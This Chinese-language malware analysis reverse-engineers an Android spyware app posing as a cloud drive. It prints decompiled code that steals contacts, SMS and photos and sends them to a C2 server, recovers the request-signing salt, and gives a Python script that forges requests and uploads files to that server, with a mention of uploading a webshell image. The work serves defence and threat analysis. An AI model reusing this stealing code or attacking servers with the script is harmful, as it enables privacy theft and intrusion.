一款伪装成云盘的恶意APP逆向分析
字数 2707
更新时间 2026-07-12 14:05:55

伪装云盘恶意APP逆向分析教学文档

一、背景概述

近期出现一类伪装成“云盘”的恶意APP,利用色情内容诱导用户安装。受害者安装后,攻击者录制不雅视频,窃取手机通讯录、短信、照片等敏感信息,随后实施勒索敲诈。


二、沙箱分析

2.1 样本哈希值

算法
MD5 c478a853c877944e2bd13818d05d00f8
SHA-1 1342fa2f3cd875dbfc1b7e7b758857a92309f2c1
SHA-256 f64b17b9e0227b216ad363c698b8ec30083d76fec27e308e553cc0ec911c4601

2.2 检测结果

  • 上传至VirusTotal平台检测,已被标记为木马、间谍程序
  • 确认该APK为恶意间谍类木马程序

三、逆向分析

3.1 基本信息

  • 包名: com.hxyvvwbtbqy.bgpbqve(随机乱码字符串,恶意软件常见伪装手法)
  • 加壳情况: 未加壳,可直接反编译

3.2 权限分析

AndroidManifest.xml中声明的关键权限:

READ_EXTERNAL_STORAGE   → 读取照片/文件
READ_CONTACTS           → 读取通讯录
READ_SMS                → 读取短信内容

分析结论: 这是典型的数据收割权限组合。

3.3 应用启动流程

跳转链路

  1. 用户点击APP图标 → 系统启动入口 SplashActivity(闪屏页)
  2. 闪屏页延时任务执行 MainNavigation.toLogin()
  3. 进入 MainNavigation 工具类的静态 toLogin() 方法
  4. 调用ARouter路由框架API,根据路由常量打开 LoginActivity 登录页面
  5. 执行 SplashActivity.this.finish() 销毁闪屏页,完成无感知页面切换

关键代码片段

SplashActivity.java — 启动后自动跳转至登录页

// 使用ARouter路由框架静默跳转
ARouter.getInstance()
    .build(MAIN_LOGIN)
    .navigation();

MainNavigation.java — 路由跳转工具类

public class MainNavigation {
    public static void toLogin() {
        // ARouter路由跳转至LoginActivity
    }
}

3.4 敏感信息窃取机制

(1)窃取通讯录

// 通过ContentResolver访问系统通讯录数据库
ContentResolver cr = getContentResolver();
Cursor cursor = cr.query(
    ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
    null, null, null, null
);

while (cursor.moveToNext()) {
    String name = cursor.getString(cursor.getColumnIndex(
        ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
    String phone = cursor.getString(cursor.getColumnIndex(
        ContactsContract.CommonDataKinds.Phone.NUMBER));
    // 封装为实体对象存入集合
}
// 读取完成后立即执行上传操作

技术要点:

  • 遍历读取所有联系人姓名、手机号码
  • 封装为实体对象存入集合
  • 读取完成后立即执行上传操作

(2)窃取短信

// 定向查询系统短信数据库
Uri uri = Uri.parse("content://sms/inbox");
Cursor cursor = getContentResolver().query(
    uri, null, null, null, null
);

while (cursor.moveToNext()) {
    String address = cursor.getString(cursor.getColumnIndex("address"));
    String body = cursor.getString(cursor.getColumnIndex("body"));
    String date = cursor.getString(cursor.getColumnIndex("date"));
    // 提取短信发送方号码、短信正文、发送时间
}
// 调用上传接口回传数据

技术要点:

  • 筛选接收类短信(收件箱)
  • 提取发送方号码、短信正文、发送时间等字段
  • 完成数据封装后调用上传接口回传

(3)窃取照片

// 遍历手机媒体库相册目录
String[] projection = {MediaStore.Images.Media.DATA};
Cursor cursor = getContentResolver().query(
    MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
    projection, null, null, null
);

int count = 0;
while (cursor.moveToNext() && count < 50) {
    String path = cursor.getString(cursor.getColumnIndex(
        MediaStore.Images.Media.DATA));
    // 提取图片本地路径
    // 逐张获取图片路径后调用文件上传接口
    count++;
}
// 限制单次最多读取50张图片

技术要点:

  • 遍历手机媒体库相册目录
  • 提取图片本地路径
  • 限制单次最多读取50张图片
  • 逐张获取图片路径后调用文件上传接口

3.5 数据回传机制

回传接口定义

public class Urls {
    public static String register = "http://47.xx.xx.82:16902/api/register";
    public static String upLoadImg = "http://47.xx.xx.82:16902/api/uploadImgs";
    public static String upLoadList = "http://47.xx.xx.82:16902/api/subList";
    public static String upLoadSms = "http://47.xx.xx.82:16902/api/subSmsList";
}

IP地址: 47.xx.xx.82:16902 为C2服务器地址

各数据上传方式

数据类型 上传方法 接口URL
通讯录 RxHttp.postJson(Urls.upLoadList, ...) /api/subList
短信 RxHttp.postJson(Urls.upLoadSms, ...) /api/subSmsList
照片 RxHttp.postForm(Urls.upLoadImg, ...) /api/uploadImgs

完整数据窃取流程

READ_CONTACTS       → getContacts()         → 读取全部通讯录并上传
READ_SMS            → getContactsSms()      → 读取全部短信并上传
READ_EXTERNAL_STORAGE → getPhoto()          → 读取照片并上传
INTERNET            → RxHttp.postJson()     → 发送窃取数据到C2

四、回传接口深度分析

4.1 服务端信息探测

访问上传接口 http://47.xx.xx.82:16902/api/uploadImgs,返回信息:

Php Version: 8.0.26
Laravel Version: 9.52.9

4.2 上传函数参数分析

public void uploadImg(String str) {
    final long currentTimeMillis = System.currentTimeMillis();
    
    RxHttp.postForm(Urls.upLoadImg, new Object[0])
        .add("phone", ((ActivityLoginBinding) this.dataBind).nameEdit.getText().toString())
        .add("userId", this.userId)
        .add("sjc", Long.valueOf(currentTimeMillis))
        .add("ttttt", Md5(currentTimeMillis))
        .addFile("file", str)
        .asString()
        .subscribe(...);
}

参数说明:

参数 来源 说明
phone 用户输入框 任意手机号字符串
userId 注册接口返回 需要先调注册接口获取
sjc System.currentTimeMillis() 当前时间戳(毫秒)
ttttt Md5(currentTimeMillis) 时间戳的MD5签名
file 图片路径 图片文件本身

可控参数: phone、sjc、file
需逆向参数: ttttt、Content-Type、userId

4.3 逆向ttttt签名算法

public String Md5(long j) {
    // 输入: 时间戳 j(long型毫秒数)
    String str = j + "**we5r23@34E23EW423Rer@32E42Fklklklk@";
    // ↑时间戳 ↑硬编码盐值(salt)
    
    String str2 = "";
    try {
        MessageDigest messageDigest = MessageDigest.getInstance("MD5");
        messageDigest.update(str.getBytes());
        str2 = bytesToHex(messageDigest.digest());
        return str2;
    } catch (NoSuchAlgorithmException e) {
        e.printStackTrace();
        return str2;
    }
}

private static String bytesToHex(byte[] bArr) {
    StringBuilder sb = new StringBuilder();
    for (byte b : bArr) {
        sb.append(String.format("%02x", Integer.valueOf(b & UByte.MAX_VALUE)));
        // ↑& 0xFF 确保无符号 ↑小写十六进制
    }
    return sb.toString();
}

ttttt生成逻辑:

  1. 输入: 时间戳 j(long型毫秒数,如1718234567890)
  2. 步骤1: 拼接盐值 → j + "**we5r23@34E23EW423Rer@32E42Fklklklk@"
  3. 步骤2: 对拼接后的字符串做MD5摘要
  4. 步骤3: 将摘要字节数组转为小写十六进制字符串
  5. 输出: ttttt的值

Python实现:

import hashlib

def calc_ttttt(timestamp_ms):
    """计算ttttt签名"""
    raw_str = f"{timestamp_ms}**we5r23@34E23EW423Rer@32E42Fklklklk@"
    md5_hash = hashlib.md5(raw_str.encode()).hexdigest()
    return md5_hash

4.4 逆向Content-Type

RxHttp.postForm(Urls.upLoadImg, new Object[0])
  • postForm 表示HTTP方法为POST
  • .addFile("file", str) 上传文件时,RxHttp自动将Content-Type从 application/x-www-form-urlencoded 切换为 multipart/form-data

最终请求格式:

POST /api/uploadImgs HTTP/1.1
Content-Type: multipart/form-data; boundary=----xxxx

4.5 逆向userId获取流程

注册接口请求

RxHttp.postForm(Urls.register, new Object[0])
    .addHeader("Content-Type", "application/x-www-form-urlencoded")
    .addHeader("Accept", "application/json")
    .add("phone", nameEdit.getText().toString())      // 手机号
    .add("code", pwdEdit.getText().toString())         // 验证码/密码
    .add("sjc", Long.valueOf(currentTimeMillis))       // 时间戳
    .add("ttttt", Md5(currentTimeMillis))              // MD5签名
    .add("data", Build.BRAND + "-" + Build.MODEL)     // 手机品牌-型号
    .asString()
    .subscribe(...)

注册返回值结构

public class LoginBean implements Serializable {
    private int code;
    private String msg;
    private String userId;  // 这就是需要的userId
}

注册后自动触发窃取

LoginBean loginBean = (LoginBean) new Gson().fromJson(str, LoginBean.class);
this.userId = loginBean.getUserId();  // 取出userId

// 注册成功后立即触发数据窃取
getContactsSms();  // 开始窃取短信
getContacts();     // 窃取通讯录
getPhoto();        // 窃取照片

五、完整攻击复现脚本

5.1 Python脚本实现

import hashlib
import time
import requests

# 配置
SERVER = "http://47.xx.xx.82:16902"
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}  # Burp代理

def calc_ttttt(timestamp_ms):
    """计算ttttt签名"""
    raw_str = f"{timestamp_ms}**we5r23@34E23EW423Rer@32E42Fklklklk@"
    md5_hash = hashlib.md5(raw_str.encode()).hexdigest()
    return md5_hash

def register(phone, code):
    """第一步:注册获取userId"""
    timestamp_ms = int(time.time() * 1000)
    
    resp = requests.post(
        f"{SERVER}/api/register",
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "Accept": "application/json",
        },
        data={
            "phone": phone,
            "code": code,
            "sjc": str(timestamp_ms),
            "ttttt": calc_ttttt(timestamp_ms),
            "data": "Pixel-6",
        },
        proxies=PROXIES,
        timeout=10,
    )
    
    print(f"注册状态码: {resp.status_code}")
    print(f"注册响应体: {resp.text}")
    
    result = resp.json()
    user_id = result.get("userId", "")
    print(f"[注册] userId: {user_id}")
    return user_id

def upload_image(phone, user_id, image_path):
    """第二步:上传图片"""
    timestamp_ms = int(time.time() * 1000)
    
    with open(image_path, "rb") as f:
        resp = requests.post(
            f"{SERVER}/api/uploadImgs",
            data={
                "phone": phone,
                "userId": user_id,
                "sjc": str(timestamp_ms),
                "ttttt": calc_ttttt(timestamp_ms),
            },
            files={
                "file": (image_path, f, "image/jpeg"),
            },
            proxies=PROXIES,
            timeout=30,
        )
    
    print(f"上传图片状态码: {resp.status_code}")
    print(f"上传图片响应: {resp.text}")
    return resp

if __name__ == "__main__":
    phone = "13800138000"
    code = "123456"
    
    # 注册,获取userId
    user_id = register(phone, code)
    
    if user_id:
        # 上传图片
        upload_image(phone, user_id, "test_photo.jpg")

5.2 注意事项

  • 使用Burpsuite作为代理进行流量拦截和分析
  • 上传图片马可以成功,但无法获取文件在服务器的真实存储路径
  • 最终应将所有证据提交有关部门举报

六、技术特征总结

6.1 恶意行为特征

阶段 行为描述
伪装诱导 假借云盘名义传播,结合色情内容诱导用户下载安装
权限滥用 批量申请通讯录、短信、相册等高危隐私权限
静默窃取 用户登录后自动窃取通讯录、短信、照片
数据外传 通过明文HTTP接口回传至攻击者服务器
勒索敲诈 利用窃取的不雅视频和通讯录实施短信恐吓、群发威胁

6.2 技术共性特征

此类黑产恶意APP普遍存在以下特征:

  1. 服务器地址硬编码:C2服务器IP直接写在Java代码中
  2. 通信加密薄弱:仅依靠简单MD5签名做基础校验
  3. 无安全证书校验:使用HTTP明文传输,未启用HTTPS
  4. 包名随机化:使用随机字符串作为包名,规避安全软件检测
  5. 开发门槛低:技术实现简单,易于批量制作传播

6.3 防御建议

  1. 不从非官方渠道下载APP
  2. 谨慎授予敏感权限(通讯录、短信、存储)
  3. 警惕以色情内容为诱饵的应用推广
  4. 安装正规安全软件进行防护
  5. 如遇勒索敲诈,保存证据并向公安机关报案
相似文章
相似文章
 全屏